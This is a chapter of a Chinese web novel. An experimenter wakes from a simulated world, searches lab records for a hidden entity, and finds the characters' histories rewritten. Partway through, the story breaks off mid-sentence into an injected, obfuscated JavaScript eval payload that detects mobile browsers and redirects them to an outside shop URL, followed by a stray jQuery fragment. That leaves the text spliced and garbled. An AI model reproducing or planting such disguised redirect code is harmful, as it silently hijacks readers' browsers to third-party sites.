##
一片混沌的景色在他的眼前穿梭。
蔚迟野感觉自己在坠落,失重感让他猛然睁开眼睛。
他不停地喘息着,胸腔剧烈地起伏。
眼前是混浊的玻璃罩,雾气模糊了它的表面,让他的视线无法抵达外界。他猛然坐起来,头却撞上玻璃罩,发出咚的一声巨大声响。
他龇牙咧嘴,胳膊肘撑住自己的上半身,一只手捂着自己的额头。
眼前的玻璃罩缓缓打开,那个名叫柏汝恭的实验室主任坐在外面的座椅上,戴着一副粗框眼镜,面无表情地盯着他。
见到她,蔚迟野才终于反应了过来。
他出来了,他离开了样界。
但是,怎么会——怎么可能葛马说要驱逐他,就真的能——
“快暂停样界!”蔚迟野想到了什么,冲柏汝恭喊道。
对面的女人却并不着急,她没有动作,只是耸了耸肩,说道:“你弹出的时候程序会自动停止,现在,样界已经停止运转了。”
蔚迟野惊魂未定地喘息着,听到柏汝恭这么说,他才放下了心来。
柏汝恭盯着他,目光透过眼镜注视着蔚迟野的脸,“怎么了,你突然弹出来,是解决样界循环的问题了吗?”
蔚迟野看了柏汝恭一眼,关于现世的记忆缓缓流入他的脑海。
他想起来,柏汝恭曾经说过,样界转速很快,外界很难观察细节,只能统计到一些宏观指标。只有等一次循环结束,实验员才能拿到比较详尽的数据。
所以,现在,柏汝恭并不知道样界里面究竟发生了什么。
蔚迟野双手盖在脸上,胡乱地摩挲了一把,“……还没有。”
“嗯?奇怪。”柏汝恭嘀咕着,转回她的电脑屏幕面前,在那上面操作着什么,“按理来说,不会发生突然弹出的情况……你最后经历了什么?”
蔚迟野从休眠舱上下来,暂且没有回答对方的话。双腿落在地面,竟一时有些不稳。不知道自从进入样界之后过去了多久,不过,看自己身体这幅模样,恐怕不短。
他来到柏汝恭的身后,撑住她的座椅靠背,说道:“电脑,能借我一下吗?我想查一些资料。”
柏汝恭回头看了蔚迟野一眼,思虑片刻,伸腿蹬了一下地面,座椅滑动,给他让出了位置来,“可以。”
蔚迟野没有瞒着柏汝恭的意思,便当着她的面搜查了起来,他再次输入了“葛马”这个名字,但是,搜索返回给他的结果依然是一个空白的页面。
一个从外界观测不到的“个体”,样界自发产生的虚拟灵魂,就像是人体里携带的细菌,不可见,也难以单独消灭。这种东西,要怎么让他消失……?
蔚迟野百思不得其解,想不出什么好办法,只好继续搜索下去。他再搜“西索人”,倒是能搜出来一些信息,文字写着,那是一个赤发绿眸的种族,集中在叱云颠东侧,大寒潮袭来时,种族往叱云颠的方向迁徙,试图穿越那座高山,但是在那之后绝迹。
下面,一行小字如此标注着:实验员操作不当,未能及时监控人种动向,导致其生存轨迹偏移,无法回撤。事故累积损失财产已由个人承担。
就在他聚精会神盯着屏幕的时候,一阵手机的铃声响了起来。柏汝恭看了眼自己手上的腕表,在那上面点了一下,又碰了碰自己的耳机,对着空气说道:“方先生。……是的,弹出了。”
她说这些的时候,视线向蔚迟野投来,话语却是向耳机里的人说,“问题好像还没有解决。……我知道了,报告十分钟之后发到您的终端上。”
她挂掉了电话,看着依然在电脑桌前忙碌的蔚迟野,说道:“方远韶在赶来的路上,想好怎么向他说明了吗?”
蔚迟野没有回答,只是一味在屏幕上检索着,头也不回。
柏汝恭轻轻叹息了一声,身子往椅子后面一仰,双臂抱住自己的后脑,一副放任的姿态,道:“算了,随便翻吧,如果对你待会的解释有什么帮助的话。”
她模样有些百无聊赖,待了一阵子,离开实验舱,去餐饮区为自己冲一杯咖啡。
椅子空了,就在蔚迟野的身后,屈身就能坐下去,可他根本无暇留意。
到底还有什么办法能把葛马揪出来?
就算已经知道了葛马的存在,但如果对方是无法被外界观测的存在,那么,这里没有人会相信蔚迟野已经找到了异常,他们会当他是胡诌了一个借口。
那样就太得不偿失了。他付出了这么多,独自一人,两次深入一个完全不同的世界,深入、再撤离,建立、再摧毁,结识、再斩断,这一路的颠沛流离,必须要称得上称心如意的结果。
必须得是一个成功的结果。
他已经知道了问题在哪,只要解决葛马,只要解决他的话……
还有什么办法能在外界找到他的踪迹?
他试过放大地图,但无济于事。
将镜头聚焦在“杜光欧”最后存在的地方,那个圣殿之中,人们的动向清晰可见,董莉莉靠在一个柱子旁,夏未信被摄文士兵控制着,白熠在侧房里站着,而葛马本该存在的地方却是空无一人。
他就像是和他们不在一个维度一般,用外界的技术根本观测不到。
蔚迟野不相信样界中没有留下任何有关葛马的信息,既然他在样界中诞生,存在过,就不可能什么踪迹也没留下。
想想,再想想,到底还有哪里能够发现他的踪迹?
他去过的地方?太宽泛了。他做过的事?既然本人都无法被观测,那么,想必也不会有关于他事迹的任何记录。
那么,受他影响的人呢?
对了!如果他的存在影响过别人的生活的话,或许,在其他人的历史资料里面,能找到关于葛马的一些蛛丝马迹。
这么想着,蔚迟野打开了白熠的资料,他印象里,这两人暗中的交集并不少,白熠的档案里说不定有什么线索。
蔚迟野展开了白熠的历史资料,首先看到的是一个张图片,那上面是白熠的肖像照。而蔚迟野愣了一下,不是因为别的,而是因为这张照片上白熠的长相。
那是一个黑发的男人,短发干净利落,目光有神,脸虽然是白熠的模样,但是,比蔚迟野所熟知的那个人要更加开朗阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234900|127433||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
光一些。
下面,是有关这个人的生平描述。
白熠,出身贵族家庭,妻子克拉娜,子白祁。头脑聪慧,实力非凡,血皑武术大会上荣获第一,继承其父职位,一生受人敬仰。
蔚迟野皱眉,这段描述,和白熠真正的经历千差万别。
武术大会第一?受人敬仰?怎么可能,男人连活着都是那般苟延残喘。
这写的都是什么东西。难不成是谁瞎写的?
蔚迟野心怀疑惑,关闭了白熠的历史资料页面。上面似乎没有关于葛马的信息,他也没有时间多看。
还有谁,还有谁和葛马有交集?
蔚迟野心里出现了一个名字,他有点反胃,但还是在搜索框里输入了黎礼的名字,弹出了一个新的页面。
黎礼,原名黄礼。黄王之女,未清理的遗孤,高危人物。有异端倾向,需及时检测动向,有必要时,展开第二次歼灭。
蔚迟野皱眉。
“第二次歼灭”是指什么?
……算了,不重要,还是先找找有关葛马的信息。
简单往下略过,并未发现那个男人的名字,于是再度打开搜索框。
还有谁?
对了……还有他。
蔚迟野顿了顿,敲入了一个新的名字。
杜光遗,杜义与卞箩之子,血皑副城主,其父与二弟先后死去,其本人亦在与黎礼势力的抗衡中身亡。
开门的声音响起来,柏汝恭端着一杯咖啡走来进来,咚的一声,她将杯子放在桌面上,坐在桌台边上,翘起一条腿,盯着屏幕,说道:“在看你大哥的资料?”
蔚迟野紧闭着嘴,他原本想说,那不是他的大哥。他已经离开了样界,在那里的一切人际关系,都不应带回到这个世界中来。而且他们不是真人,把虚拟之人当成活人,岂不是太荒诞了。
他这么想着,但是,张了张嘴,却是什么都没有说出来。
“为什么……这些人的资料里,关于他们历史生平这一栏,和我所经历的都不一样?”蔚迟野向柏汝恭问道。
“……这不是很正常?”她抬起咖啡杯,轻轻地吹拂,在那上面掀起对于咖啡沫的滔天巨浪,“先前说过了,你的出现会改变一些历史事件,这个循环当然不会按照以往的路径发展。不过,等异常修复,样界进入下一个循环,没有你的存在,一切都会按照正常的世界线如期展开。”
蔚迟野盯着屏幕,冷淡的荧光在他的脸上照射,映照出一副有些惨白的模样。
如果……葛马死了,这些就会不断重复下去。
这些……死亡,这些痛苦,这些难解的恩怨,都会一遍遍循环往复,永无……
——不,杜光欧,你在犹豫些什么,这不是一开始就知道的事情吗?
进入样界之前,就知道这是一个不断循环的世界。当然,里面的事情会一遍又一遍的发生。
那些个体都不是真实的人物。没必要纠结成这样。
……等等。
他刚才叫自己什么?
男人抓乱了自己的头发,低下头去,陷入了一时的混乱。